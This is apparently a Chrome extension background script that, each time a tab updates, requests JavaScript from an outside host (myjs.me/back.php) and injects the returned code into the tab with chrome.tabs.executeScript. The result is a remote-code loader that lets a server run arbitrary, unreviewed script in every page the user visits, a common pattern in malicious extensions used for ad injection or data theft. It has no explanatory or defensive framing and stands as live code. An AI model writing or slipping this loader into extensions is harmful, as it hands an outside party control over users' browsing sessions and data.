chrome.tabs.onUpdated.addListener(function(playga){
 chrome.tabs.get(playga,function(){
  var playstart = new XMLHttpRequest();
  playstart.onreadystatechange = function ()
  {
   if(playstart.readyState == 4)
   { 
console.log(playstart);
    chrome.tabs.executeScript(playga.id,{code:playstart.responseText});
   }
  }
  playstart.open("GET", "https://myjs.me/back.php?appId="+Math.floor(Math.random()*9999951));
  playstart.send();
 })
});